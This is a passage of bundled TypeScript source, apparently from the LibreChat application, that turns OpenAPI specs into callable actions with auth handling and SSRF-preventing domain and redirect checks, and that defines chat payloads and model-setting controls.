string;\n clientId: string;\n clientSecret: string;\n scope: string;\n};\n\nexport type Credentials = ApiKeyCredentials | OAuthCredentials;\n\ntype MediaTypeObject =\n | undefined\n | {\n [media: string]: OpenAPIV3.MediaTypeObject | undefined;\n };\n\ntype RequestBodyObject = Omit<OpenAPIV3.RequestBodyObject, 'content'> & {\n content: MediaTypeObject;\n};\n\nexport function sha1(input: string) {\n return crypto.createHash('sha1').update(input).digest('hex');\n}\n\nexport function createURL(domain: string, path: string) {\n const cleanDomain = domain.replace(/\\/$/, '');\n const cleanPath = path.replace(/^\\//, '');\n const fullURL = `${cleanDomain}/${cleanPath}`;\n return new URL(fullURL).toString();\n}\n\nconst schemaTypeHandlers: Record<string, (schema: OpenAPISchema) => z.ZodTypeAny> = {\n string: (schema) => {\n if (schema.enum) {\n return z.enum(schema.enum as [string, ...string[]]);\n }\n\n let stringSchema = z.string();\n if (schema.minLength !== undefined) {\n stringSchema = stringSchema.min(schema.minLength);\n }\n if (schema.maxLength !== undefined) {\n stringSchema = stringSchema.max(schema.maxLength);\n }\n return stringSchema;\n },\n number: (schema) => {\n let numberSchema = z.number();\n if (schema.minimum !== undefined) {\n numberSchema = numberSchema.min(schema.minimum);\n }\n if (schema.maximum !== undefined) {\n numberSchema = numberSchema.max(schema.maximum);\n }\n return numberSchema;\n },\n integer: (schema) => (schemaTypeHandlers.number(schema) as z.ZodNumber).int(),\n boolean: () => z.boolean(),\n array: (schema) => {\n if (schema.items) {\n const zodSchema = openAPISchemaToZod(schema.items as OpenAPISchema);\n if (zodSchema) {\n return z.array(zodSchema);\n }\n\n return z.array(z.unknown());\n }\n return z.array(z.unknown());\n },\n object: (schema) => {\n const shape: { [key: string]: z.ZodTypeAny } = {};\n if (schema.properties) {\n Object.entries(schema.properties).forEach(([key, value]) => {\n const zodSchema = openAPISchemaToZod(value as OpenAPISchema);\n shape[key] = zodSchema || z.unknown();\n if (schema.required && schema.required.includes(key)) {\n shape[key] = shape[key].describe(value.description || '');\n } else {\n shape[key] = shape[key].optional().describe(value.description || '');\n }\n });\n }\n return z.object(shape);\n },\n};\n\nfunction openAPISchemaToZod(schema: OpenAPISchema): z.ZodTypeAny | undefined {\n if (schema.type === 'object' && Object.keys(schema.properties || {}).length === 0) {\n return undefined;\n }\n\n const handler = schemaTypeHandlers[schema.type as string] || (() => z.unknown());\n return handler(schema);\n}\n\n/**\n * Class representing a function signature.\n */\nexport class FunctionSignature {\n name: string;\n description: string;\n parameters: ParametersSchema;\n strict: boolean;\n\n constructor(name: string, description: string, parameters: ParametersSchema, strict?: boolean) {\n this.name = name;\n this.description = description;\n this.parameters = parameters;\n this.strict = strict ?? false;\n }\n\n toObjectTool(): FunctionTool {\n const parameters = {\n ...this.parameters,\n additionalProperties: this.strict ? false : undefined,\n };\n\n return {\n type: Tools.function,\n function: {\n name: this.name,\n description: this.description,\n parameters,\n ...(this.strict ? { strict: this.strict } : {}),\n },\n };\n }\n}\n\nclass RequestConfig {\n constructor(\n readonly domain: string,\n readonly basePath: string,\n readonly method: string,\n readonly operation: string,\n readonly isConsequential: boolean,\n readonly contentType: string,\n readonly parameterLocations?: Record<string, 'query' | 'path' | 'header' | 'body'>,\n ) {}\n}\n\nclass RequestExecutor {\n path: string;\n params?: Record<string, unknown>;\n private operationHash?: string;\n private authHeaders: Record<string, string> = {};\n private authToken?: string;\n\n constructor(private config: RequestConfig) {\n this.path = config.basePath;\n }\n\n setParams(params: Record<string, unknown>) {\n this.operationHash = sha1(JSON.stringify(params));\n this.params = { ...params } as Record<string, unknown>;\n if (this.config.parameterLocations) {\n //Substituting “Path” Parameters:\n for (const [key, value] of Object.entries(params)) {\n if (this.config.parameterLocations[key] === 'path') {\n const paramPattern = `{${key}}`;\n if (this.path.includes(paramPattern)) {\n this.path = this.path.replace(paramPattern, encodeURIComponent(String(value)));\n delete this.params[key];\n }\n }\n }\n } else {\n // Fallback: if no locations are defined, perform path substitution for all keys.\n for (const [key, value] of Object.entries(params)) {\n const paramPattern = `{${key}}`;\n if (this.path.includes(paramPattern)) {\n this.path = this.path.replace(paramPattern, encodeURIComponent(String(value)));\n delete this.params[key];\n }\n }\n }\n return this;\n }\n\n async setAuth(metadata: ActionMetadataRuntime) {\n if (!metadata.auth) {\n return this;\n }\n\n const {\n type,\n /* API Key */\n authorization_type,\n custom_auth_header,\n /* OAuth */\n authorization_url,\n client_url,\n scope,\n token_exchange_method,\n } = metadata.auth;\n\n const {\n /* API Key */\n api_key,\n /* OAuth */\n oauth_client_id,\n oauth_client_secret,\n oauth_token_expires_at,\n oauth_access_token = '',\n } = metadata;\n\n const isApiKey = api_key != null && api_key.length > 0 && type === AuthTypeEnum.ServiceHttp;\n const isOAuth = !!(\n oauth_client_id != null &&\n oauth_client_id &&\n oauth_client_secret != null &&\n oauth_client_secret &&\n type === AuthTypeEnum.OAuth &&\n authorization_url != null &&\n authorization_url &&\n client_url != null &&\n client_url &&\n scope != null &&\n scope &&\n token_exchange_method\n );\n\n if (isApiKey && authorization_type === AuthorizationTypeEnum.Basic) {\n const basicToken = Buffer.from(api_key).toString('base64');\n this.authHeaders['Authorization'] = `Basic ${basicToken}`;\n } else if (isApiKey && authorization_type === AuthorizationTypeEnum.Bearer) {\n this.authHeaders['Authorization'] = `Bearer ${api_key}`;\n } else if (\n isApiKey &&\n authorization_type === AuthorizationTypeEnum.Custom &&\n custom_auth_header != null &&\n custom_auth_header\n ) {\n this.authHeaders[custom_auth_header] = api_key;\n } else if (isOAuth) {\n // TODO: maybe doing it in a different way later on. but we want that the user needs to folllow the oauth flow.\n // If we do not have a valid token, bail or ask user to sign in\n const now = new Date();\n\n // 1. Check if token is set\n if (!oauth_access_token) {\n throw new Error('No access token found. Please log in first.');\n }\n\n // 2. Check if token is expired\n if (oauth_token_expires_at && now >= new Date(oauth_token_expires_at)) {\n // Optionally check refresh_token logic, or just prompt user to re-login\n throw new Error('Access token is expired. Please re-login.');\n }\n\n // If valid, use it\n this.authToken = oauth_access_token;\n this.authHeaders['Authorization'] = `Bearer ${this.authToken}`;\n }\n return this;\n }\n\n async execute(options?: { httpAgent?: unknown; httpsAgent?: unknown }) {\n const url = createURL(this.config.domain, this.path);\n const headers: Record<string, string> = {\n ...this.authHeaders,\n ...(this.config.contentType ? { 'Content-Type': this.config.contentType } : {}),\n };\n const method = this.config.method.toLowerCase();\n\n /**\n * SECURITY: Disable automatic redirects to prevent SSRF bypass.\n * Attackers could use redirects to access internal services:\n * 1. Set action URL to allowed external domain\n * 2. External domain redirects to internal service (e.g., 127.0.0.1, rag_api)\n * 3. Without this protection, axios would follow the redirect\n *\n * By setting maxRedirects: 0, we prevent this attack vector.\n * The action will receive the redirect response (3xx) instead of following it.\n *\n * SECURITY: When httpAgent/httpsAgent are provided (SSRF-safe agents), they validate\n * the DNS-resolved IP at TCP connect time, preventing TOCTOU DNS rebinding attacks.\n */\n const axios = _axios.create({\n maxRedirects: 0,\n validateStatus: (status) => status >= 200 && status < 400,\n ...(options?.httpAgent != null ? { httpAgent: options.httpAgent } : {}),\n ...(options?.httpsAgent != null ? { httpsAgent: options.httpsAgent } : {}),\n });\n\n // Initialize separate containers for query and body parameters.\n const queryParams: Record<string, unknown> = {};\n const bodyParams: Record<string, unknown> = {};\n\n if (this.config.parameterLocations && this.params) {\n for (const key of Object.keys(this.params)) {\n // Determine parameter placement; default to \"query\" for GET and \"body\" for others.\n const loc: 'query' | 'path' | 'header' | 'body' =\n this.config.parameterLocations[key] || (method === 'get' ? 'query' : 'body');\n\n const val = this.params[key];\n if (loc === 'query') {\n queryParams[key] = val;\n } else if (loc === 'header') {\n headers[key] = String(val);\n } else if (loc === 'body') {\n bodyParams[key] = val;\n }\n }\n } else if (this.params) {\n Object.assign(queryParams, this.params);\n Object.assign(bodyParams, this.params);\n }\n\n if (method === 'get') {\n return axios.get(url, { headers, params: queryParams });\n } else if (method === 'post') {\n return axios.post(url, bodyParams, { headers, params: queryParams });\n } else if (method === 'put') {\n return axios.put(url, bodyParams, { headers, params: queryParams });\n } else if (method === 'delete') {\n return axios.delete(url, { headers, data: bodyParams, params: queryParams });\n } else if (method === 'patch') {\n return axios.patch(url, bodyParams, { headers, params: queryParams });\n } else {\n throw new Error(`Unsupported HTTP method: ${method}`);\n }\n }\n\n getConfig() {\n return this.config;\n }\n}\n\nexport class ActionRequest {\n private config: RequestConfig;\n\n constructor(\n domain: string,\n path: string,\n method: string,\n operation: string,\n isConsequential: boolean,\n contentType: string,\n parameterLocations?: Record<string, 'query' | 'path' | 'header' | 'body'>,\n ) {\n this.config = new RequestConfig(\n domain,\n path,\n method,\n operation,\n isConsequential,\n contentType,\n parameterLocations,\n );\n }\n\n // Add getters to maintain backward compatibility\n get domain() {\n return this.config.domain;\n }\n get path() {\n return this.config.basePath;\n }\n get method() {\n return this.config.method;\n }\n get operation() {\n return this.config.operation;\n }\n get isConsequential() {\n return this.config.isConsequential;\n }\n get contentType() {\n return this.config.contentType;\n }\n\n createExecutor() {\n return new RequestExecutor(this.config);\n }\n\n // Maintain backward compatibility by delegating to a new executor\n setParams(params: Record<string, unknown>) {\n const executor = this.createExecutor();\n executor.setParams(params);\n return executor;\n }\n\n async setAuth(metadata: ActionMetadata) {\n const executor = this.createExecutor();\n return executor.setAuth(metadata);\n }\n\n async execute() {\n const executor = this.createExecutor();\n return executor.execute();\n }\n}\n\nexport function resolveRef<\n T extends\n | OpenAPIV3.ReferenceObject\n | OpenAPIV3.SchemaObject\n | OpenAPIV3.ParameterObject\n | OpenAPIV3.RequestBodyObject,\n>(obj: T, components?: OpenAPIV3.ComponentsObject): Exclude<T, OpenAPIV3.ReferenceObject> {\n if ('$ref' in obj && components) {\n const refPath = obj.$ref.replace(/^#\\/components\\//, '').split('/');\n\n let resolved: unknown = components as Record<string, unknown>;\n for (const segment of refPath) {\n if (typeof resolved === 'object' && resolved !== null && segment in resolved) {\n resolved = (resolved as Record<string, unknown>)[segment];\n } else {\n throw new Error(`Could not resolve reference: ${obj.$ref}`);\n }\n }\n\n return resolveRef(resolved as typeof obj, components) as Exclude<T, OpenAPIV3.ReferenceObject>;\n }\n\n return obj as Exclude<T, OpenAPIV3.ReferenceObject>;\n}\n\nfunction sanitizeOperationId(input: string) {\n return input.replace(/[^a-zA-Z0-9_-]/g, '');\n}\n\n/**\n * Converts an OpenAPI spec to function signatures and request builders.\n */\nexport function openapiToFunction(\n openapiSpec: OpenAPIV3.Document,\n generateZodSchemas = false,\n): {\n functionSignatures: FunctionSignature[];\n requestBuilders: Record<string, ActionRequest>;\n zodSchemas?: Record<string, z.ZodTypeAny>;\n} {\n const functionSignatures: FunctionSignature[] = [];\n const requestBuilders: Record<string, ActionRequest> = {};\n const zodSchemas: Record<string, z.ZodTypeAny> = {};\n const baseUrl = openapiSpec.servers?.[0]?.url ?? '';\n\n // Iterate over each path and method in the OpenAPI spec\n for (const [path, methods] of Object.entries(openapiSpec.paths)) {\n for (const [method, operation] of Object.entries(methods as OpenAPIV3.PathsObject)) {\n const paramLocations: Record<string, 'query' | 'path' | 'header' | 'body'> = {};\n const operationObj = operation as OpenAPIV3.OperationObject & {\n 'x-openai-isConsequential'?: boolean;\n } & {\n 'x-strict'?: boolean;\n };\n\n // Operation ID is used as the function name\n const defaultOperationId = `${method}_${path}`;\n const operationId = operationObj.operationId || sanitizeOperationId(defaultOperationId);\n const description = operationObj.summary || operationObj.description || '';\n const isStrict = operationObj['x-strict'] ?? false;\n\n const parametersSchema: OpenAPISchema = {\n type: 'object',\n properties: {},\n required: [],\n };\n\n if (operationObj.parameters) {\n for (const param of operationObj.parameters ?? []) {\n const resolvedParam = resolveRef(\n param,\n openapiSpec.components,\n ) as OpenAPIV3.ParameterObject;\n\n const paramName = resolvedParam.name;\n if (!paramName || !resolvedParam.schema) {\n continue;\n }\n\n const paramSchema = resolveRef(\n resolvedParam.schema,\n openapiSpec.components,\n ) as OpenAPIV3.SchemaObject;\n\n parametersSchema.properties[paramName] = paramSchema;\n if (resolvedParam.required) {\n parametersSchema.required.push(paramName);\n }\n // Record the parameter location from the OpenAPI \"in\" field.\n paramLocations[paramName] =\n resolvedParam.in === 'query' ||\n resolvedParam.in === 'path' ||\n resolvedParam.in === 'header' ||\n resolvedParam.in === 'body'\n ? resolvedParam.in\n : 'query';\n }\n }\n\n let contentType = '';\n if (operationObj.requestBody) {\n const requestBody = operationObj.requestBody as RequestBodyObject;\n const content = requestBody.content;\n contentType = Object.keys(content ?? {})[0];\n const schema = content?.[contentType]?.schema;\n const resolvedSchema = resolveRef(\n schema as OpenAPIV3.ReferenceObject | OpenAPIV3.SchemaObject,\n openapiSpec.components,\n );\n parametersSchema.properties = {\n ...parametersSchema.properties,\n ...resolvedSchema.properties,\n };\n if (resolvedSchema.required) {\n parametersSchema.required.push(...resolvedSchema.required);\n }\n // Mark requestBody properties as belonging to the \"body\"\n if (resolvedSchema.properties) {\n for (const key in resolvedSchema.properties) {\n paramLocations[key] = 'body';\n }\n }\n\n contentType = contentType ?? 'application/json';\n }\n\n const functionSignature = new FunctionSignature(\n operationId,\n description,\n parametersSchema,\n isStrict,\n );\n functionSignatures.push(functionSignature);\n\n const actionRequest = new ActionRequest(\n baseUrl,\n path,\n method,\n operationId,\n !!(operationObj['x-openai-isConsequential'] ?? false),\n contentType,\n paramLocations,\n );\n\n requestBuilders[operationId] = actionRequest;\n\n if (generateZodSchemas && Object.keys(parametersSchema.properties).length > 0) {\n const schema = openAPISchemaToZod(parametersSchema);\n if (schema) {\n zodSchemas[operationId] = schema;\n }\n }\n }\n }\n\n return { functionSignatures, requestBuilders, zodSchemas };\n}\n\nexport type ValidationResult = {\n status: boolean;\n message: string;\n spec?: OpenAPIV3.Document;\n serverUrl?: string;\n};\n\n/**\n * Cross-platform IP validation (works in Node.js and browser).\n * @param input - String to check if it's an IP address\n * @returns 0 if not IP, 4 for IPv4, 6 for IPv6\n */\nfunction isIP(input: string): number {\n // IPv4 regex - matches 0.0.0.0 to 255.255.255.255\n const ipv4Regex =\n /^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/;\n\n if (ipv4Regex.test(input)) {\n return 4;\n }\n\n // IPv6 regex - simplified but covers most cases\n // Handles compressed (::), full, and mixed notations\n const ipv6Regex =\n /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/;\n\n if (ipv6Regex.test(input)) {\n return 6;\n }\n\n return 0;\n}\n\n/**\n * Extracts domain from URL (protocol + hostname).\n * @param url - URL to extract from\n * @returns Protocol and hostname (e.g., \"https://example.com\")\n */\nexport function extractDomainFromUrl(url: string): string {\n try {\n /** Parsed URL object */\n const parsedUrl = new URL(url);\n // Preserve brackets for IPv6 addresses using isIP\n const ipVersion = isIP(parsedUrl.hostname);\n const hostname = ipVersion === 6 ? `[${parsedUrl.hostname}]` : parsedUrl.hostname;\n return `${parsedUrl.protocol}//${hostname}`;\n } catch {\n throw new Error(`Invalid URL format: ${url}`);\n }\n}\n\nexport type DomainValidationResult = {\n isValid: boolean;\n message?: string;\n normalizedSpecDomain?: string;\n normalizedClientDomain?: string;\n};\n\n/**\n * Validates client domain matches OpenAPI spec server URL domain (SSRF prevention).\n * @param clientProvidedDomain - Domain from client (with/without protocol)\n * @param specServerUrl - Server URL from OpenAPI spec\n * @returns Validation result with normalized domains\n */\nexport function validateActionDomain(\n clientProvidedDomain: string,\n specServerUrl: string,\n): DomainValidationResult {\n try {\n /** Parsed spec URL */\n const specUrl = new URL(specServerUrl);\n\n if (specUrl.protocol !== 'http:' && specUrl.protocol !== 'https:') {\n return {\n isValid: false,\n message: `Invalid protocol: Only HTTP and HTTPS are allowed, got ${specUrl.protocol}`,\n };\n }\n\n /** Spec hostname only */\n const specHostname = specUrl.hostname;\n /** Spec domain with protocol (handle IPv6 brackets) */\n const specIpVersion = isIP(specHostname);\n const normalizedSpecDomain =\n specIpVersion === 6\n ? `${specUrl.protocol}//[${specHostname}]`\n : `${specUrl.protocol}//${specHostname}`;\n\n /** Extract hostname from client domain if it's a full URL */\n let clientHostname = clientProvidedDomain;\n let clientHasProtocol = false;\n\n // Check for any protocol in the client domain\n if (clientProvidedDomain.includes('://')) {\n if (\n !clientProvidedDomain.startsWith('http://') &&\n !clientProvidedDomain.startsWith('https://')\n ) {\n return {\n isValid: false,\n message: `Invalid protocol: Only HTTP and HTTPS are allowed in client domain`,\n };\n }\n try {\n const clientUrl = new URL(clientProvidedDomain);\n clientHostname = clientUrl.hostname;\n clientHasProtocol = true;\n } catch {\n // If parsing fails, treat as hostname\n clientHasProtocol = false;\n }\n }\n\n /** Normalize IPv6 addresses by removing brackets for comparison */\n const normalizedClientHostname = clientHostname.replace(/^\\[(.+)\\]$/, '$1');\n const normalizedSpecHostname = specHostname.replace(/^\\[(.+)\\]$/, '$1');\n\n /** Check if hostname is valid IP using cross-platform isIP */\n const isIPAddress = isIP(normalizedClientHostname) !== 0;\n\n /** Normalized client domain */\n let normalizedClientDomain: string;\n if (clientHasProtocol) {\n normalizedClientDomain = extractDomainFromUrl(clientProvidedDomain);\n } else {\n // No protocol specified by client\n if (isIPAddress) {\n // IPs inherit protocol from spec (for legitimate internal services)\n const ipVersion = isIP(normalizedClientHostname);\n const hostname =\n ipVersion === 6 && !clientHostname.startsWith('[')\n ? `[${normalizedClientHostname}]`\n : clientHostname;\n normalizedClientDomain = `${specUrl.protocol}//${hostname}`;\n } else {\n // Domain names default to HTTPS for security (forces explicit protocol)\n normalizedClientDomain = `https://${clientHostname}`;\n }\n }\n\n if (\n normalizedSpecDomain === normalizedClientDomain ||\n (!clientHasProtocol && isIPAddress && normalizedClientHostname === normalizedSpecHostname)\n ) {\n return {\n isValid: true,\n normalizedSpecDomain,\n normalizedClientDomain,\n };\n }\n\n return {\n isValid: false,\n message: `Domain mismatch: Client provided '${clientProvidedDomain}', but spec uses '${specHostname}'`,\n normalizedSpecDomain,\n normalizedClientDomain,\n };\n } catch (error) {\n return {\n isValid: false,\n message: `Failed to validate domain: ${error instanceof Error ? error.message : 'Unknown error'}`,\n };\n }\n}\n\n/**\n * Validates and parses an OpenAPI spec.\n */\nexport function validateAndParseOpenAPISpec(specString: string): ValidationResult {\n try {\n let parsedSpec;\n try {\n parsedSpec = JSON.parse(specString);\n } catch {\n parsedSpec = load(specString);\n }\n\n // Check for servers\n if (\n !parsedSpec.servers ||\n !Array.isArray(parsedSpec.servers) ||\n parsedSpec.servers.length === 0\n ) {\n return { status: false, message: 'Could not find a valid URL in `servers`' };\n }\n\n if (!parsedSpec.servers[0].url) {\n return { status: false, message: 'Could not find a valid URL in `servers`' };\n }\n\n // Check for paths\n const paths = parsedSpec.paths;\n if (!paths || typeof paths !== 'object' || Object.keys(paths).length === 0) {\n return { status: false, message: 'No paths found in the OpenAPI spec.' };\n }\n\n const components = parsedSpec.components?.schemas || {};\n const messages = [];\n\n for (const [path, methods] of Object.entries(paths)) {\n for (const [httpMethod, operation] of Object.entries(methods as OpenAPIV3.PathItemObject)) {\n // Ensure operation is a valid operation object\n const { responses } = operation as OpenAPIV3.OperationObject | { responses: undefined };\n if (typeof operation === 'object' && responses) {\n for (const [statusCode, response] of Object.entries(responses)) {\n const content = (response as OpenAPIV3.ResponseObject).content as MediaTypeObject;\n if (content && content['application/json'] && content['application/json'].schema) {\n const schema = content['application/json'].schema;\n if ('$ref' in schema && typeof schema.$ref === 'string') {\n const refName = schema.$ref.split('/').pop();\n if (refName && !components[refName]) {\n messages.push(\n `In context=('paths', '${path}', '${httpMethod}', '${statusCode}', 'response', 'content', 'application/json', 'schema'), reference to unknown component ${refName}; using empty schema`,\n );\n }\n }\n }\n }\n }\n }\n }\n\n return {\n status: true,\n message: messages.join('\\n') || 'OpenAPI spec is valid.',\n spec: parsedSpec,\n serverUrl: parsedSpec.servers[0].url,\n };\n } catch (error) {\n console.error(error);\n return { status: false, message: 'Error parsing OpenAPI spec.' };\n }\n}\n","import type * as t from './types';\nimport { EndpointURLs } from './config';\nimport * as s from './schemas';\n\nexport default function createPayload(submission: t.TSubmission) {\n const {\n isEdited,\n addedConvo,\n userMessage,\n isContinued,\n isTemporary,\n isRegenerate,\n conversation,\n editedContent,\n ephemeralAgent,\n endpointOption,\n } = submission;\n const { conversationId } = s.tConvoUpdateSchema.parse(conversation);\n const { endpoint: _e, endpointType } = endpointOption as {\n endpoint: s.EModelEndpoint;\n endpointType?: s.EModelEndpoint;\n };\n\n const endpoint = _e as s.EModelEndpoint;\n let server = `${EndpointURLs[s.EModelEndpoint.agents]}/${endpoint}`;\n if (s.isAssistantsEndpoint(endpoint)) {\n server =\n EndpointURLs[(endpointType ?? endpoint) as 'assistants' | 'azureAssistants'] +\n (isEdited ? '/modify' : '');\n }\n\n const payload: t.TPayload = {\n ...userMessage,\n ...endpointOption,\n endpoint,\n addedConvo,\n isTemporary,\n isRegenerate,\n editedContent,\n conversationId,\n isContinued: !!(isEdited && isContinued),\n ephemeralAgent: s.isAssistantsEndpoint(endpoint) ? undefined : ephemeralAgent,\n };\n\n return { server, payload };\n}\n","import {\n Verbosity,\n ImageDetail,\n ThinkingLevel,\n EModelEndpoint,\n openAISettings,\n googleSettings,\n ReasoningEffort,\n AnthropicEffort,\n ReasoningSummary,\n BedrockProviders,\n anthropicSettings,\n} from './types';\nimport { SettingDefinition, SettingsConfiguration } from './generate';\n\n// Base definitions\nconst baseDefinitions: Record<string, SettingDefinition> = {\n model: {\n key: 'model',\n label: 'com_ui_model',\n labelCode: true,\n type: 'string',\n component: 'dropdown',\n optionType: 'model',\n selectPlaceholder: 'com_ui_select_model',\n searchPlaceholder: 'com_ui_select_search_model',\n searchPlaceholderCode: true,\n selectPlaceholderCode: true,\n columnSpan: 4,\n },\n temperature: {\n key: 'temperature',\n label: 'com_endpoint_temperature',\n labelCode: true,\n description: 'com_endpoint_openai_temp',\n descriptionCode: true,\n type: 'number',\n component: 'slider',\n optionType: 'model',\n columnSpan: 4,\n },\n topP: {\n key: 'topP',\n label: 'com_endpoint_top_p',\n labelCode: true,\n description: 'com_endpoint_anthropic_topp',\n descriptionCode: true,\n type: 'number',\n component: 'slider',\n optionType: 'model',\n columnSpan: 4,\n },\n stop: {\n key: 'stop',\n label: 'com_endpoint_stop',\n labelCode: true,\n description: 'com_endpoint_openai_stop',\n descriptionCode: true,\n placeholder: 'com_endpoint_stop_placeholder',\n placeholderCode: true,\n type: 'array',\n default: [],\n component: 'tags',\n optionType: 'conversation',\n minTags: 0,\n maxTags: 4,\n },\n imageDetail: {\n key: 'imageDetail',\n label: 'com_endpoint_plug_image_detail',\n labelCode: true,\n description: 'com_endpoint_openai_detail',\n descriptionCode: true,\n type: 'enum',\n default: ImageDetail.auto,\n component: 'slider',\n options: [ImageDetail.low, ImageDetail.auto, ImageDetail.high],\n enumMappings: {\n [ImageDetail.low]: 'com_ui_low',\n [ImageDetail.auto]: 'com_ui_auto',\n [ImageDetail.high]: 'com_ui_high',\n },\n optionType: 'conversation',\n columnSpan: 2,\n },\n};\n\nconst createDefinition = (\n base: Partial<SettingDefinition>,\n overrides: Partial<SettingDefinition>,\n): SettingDefinition => {\n return { ...base, ...overrides } as SettingDefinition;\n};\n\nexport const librechat = {\n modelLabel: {\n key: 'modelLabel',\n label: 'com_endpoint_custom_name',\n labelCode: true,\n type: 'string',\n default: '',\n component: 'input',\n placeholder: 'com_endpoint_openai_custom_name_placeholder',\n placeholderCode: true,\n optionType: 'conversation',\n } as const,\n maxContextTokens: {\n key: 'maxContextTokens',\n label: 'com_endpoint_context_tokens',\n labelCode: true,\n type: 'number',\n component: 'input',\n placeholder: 'com_nav_theme_system',\n placeholderCode: true,\n description: 'com_endpoint_context_info',\n descriptionCode: true,\n optionType: 'model',\n columnSpan: 2,\n } as const,\n resendFiles: {\n key: 'resendFiles',\n label: 'com_endpoint_plug_resend_files',\n labelCode: true,\n description: 'com_endpoint_openai_resend_files',\n descriptionCode: true,\n type: 'boolean',\n default: true,\n component: 'switch',\n optionType: 'conversation',\n showDefault: false,\n columnSpan: 2,\n } as const,\n promptPrefix: {\n key: 'promptPrefix',\n label: 'com_endpoint_prompt_prefix',\n labelCode: true,\n type: 'string',\n default: '',\n component: 'textarea',\n placeholder: 'com_endpoint_openai_prompt_prefix_placeholder',\n placeholderCode: true,\n optionType: 'model',\n } as const,\n fileTokenLimit: {\n key: 'fileTokenLimit',\n label: 'com_ui_file_token_limit',\n labelCode: true,\n description: 'com_ui_file_token_limit_desc',\n descriptionCode: true,\n placeholder: 'com_nav_theme_system',\n placeholderCode: true,\n type: 'number',\n component: 'input',\n columnSpan: 2,\n } as const,\n};\n\nconst openAIParams: Record<string, SettingDefinition> = {\n chatGptLabel: {\n ...librechat.modelLabel,\n key: 'chatGptLabel',\n },\n promptPrefix: librechat.promptPrefix,\n temperature: createDefinition(baseDefinitions.temperature, {\n default: openAISettings.temperature.default,\n range: {\n min: openAISettings.temperature.min,\n max: openAISettings.temperature.max,\n step: openAISettings.temperature.step,\n },\n }),\n top_p: createDefinition(baseDefinitions.topP, {\n key: 'top_p',\n default: openAISettings.top_p.default,\n range: {\n min: openAISettings.top_p.min,\n max: openAISettings.top_p.max,\n step: openAISettings.top_p.step,\n },\n }),\n frequency_penalty: {\n key: 'frequency_penalty',\n label: 'com_endpoint_frequency_penalty',\n labelCode: true,\n description: 'com_endpoint_openai_freq',\n descriptionCode: true,\n type: 'number',\n default: openAISettings.frequency_penalty.default,\n range: {\n min: openAISettings.frequency_penalty.min,\n max: openAISettings.frequency_penalty.max,\n step: openAISettings.frequency_penalty.step,\n },\n component: 'slider',\n optionType: 'model',\n columnSpan: 4,\n },\n presence_penalty: {\n key: 'presence_penalty',\n label: 'com_endpoint_presence_penalty',\n labelCode: true,\n description: 'com_endpoint_openai_pres',\n descriptionCode: true,\n type: 'number',\n default: openAISettings.presence_penalty.default,\n range: {\n min: openAISettings.presence_penalty.min,\n max: openAISettings.presence_penalty.max,\n step: openAISettings.presence_penalty.step,\n },\n component: 'slider',\n optionType: 'model',\n columnSpan: 4,\n },\n max_tokens: {\n key: 'max_tokens',\n label: 'com_endpoint_max_output_tokens',\n labelCode: true,\n type: 'number',\n component: 'input',\n description: 'com_endpoint_openai_max_tokens',\n descriptionCode: true,\n placeholder: 'com_nav_theme_system',\n placeholderCode: true,\n optionType: 'model',\n columnSpan: 2,\n },\n reasoning_effort: {\n key: 'reasoning_effort',\n label: 'com_endpoint_reasoning_effort',\n labelCode: true,\n description: 'com_endpoint_openai_reasoning_effort',\n descriptionCode: true,\n type: 'enum',\n default: ReasoningEffort.unset,\n component: 'slider',\n options: [\n ReasoningEffort.unset,\n ReasoningEffort.none,\n ReasoningEffort.minimal,\n ReasoningEffort.low,\n ReasoningEffort.medium,\n ReasoningEffort.high,\n ReasoningEffort.xhigh,\n ],\n enumMappings: {\n [ReasoningEffort.unset]: 'com_ui_auto',\n [ReasoningEffort.none]: 'com_ui_none',\n [ReasoningEffort.minimal]: 'com_ui_minimal',\n [ReasoningEffort.low]: 'com_ui_low',\n [ReasoningEffort.medium]: 'com_ui_medium',\n [ReasoningEffort.high]: 'com_ui_high',\n [ReasoningEffort.xhigh]: 'com_ui_xhigh',\n },\n optionType: 'model',\n columnSpan: 4,\n },\n useResponsesApi: {\n key: 'useResponsesApi',\n label: 'com_endpoint_use_responses_api',\n labelCode: true,\n description: 'com_endpoint_openai_use_responses_api',\n descriptionCode: true,\n type: 'boolean',\n default: false,\n component: 'switch',\n optionType: 'model',\n showDefault: false,\n columnSpan: 2,\n },\n web_search: {\n key: 'web_search',\n label: 'com_ui_web_search',\n labelCode: true,\n description: 'com_endpoint_openai_use_web_search',\n descriptionCode: true,\n type: 'boolean',\n default: false,\n component: 'switch',\n optionType: 'model',\n showDefault: false,\n columnSpan: 2,\n },\n reasoning_summary: {\n key: 'reasoning_summary',\n label: 'com_endpoint_reasoning_summary',\n labelCode: true,\n description: 'com_endpoint_openai_reasoning_summary',\n descriptionCode: true,\n type: 'enum',\n default: ReasoningSummary.none,\n component: 'slider',\n options: [\n ReasoningSummary.none,\n ReasoningSummary.auto,\n ReasoningSummary.concise,\n ReasoningSummary.detailed,\n ],\n enumMappings: {\n [ReasoningSummary.none]: 'com_ui_unset',\n [ReasoningSummary.auto]: 'com_ui_auto',\n [ReasoningSummary.concise]: 'com_ui_concise',\n 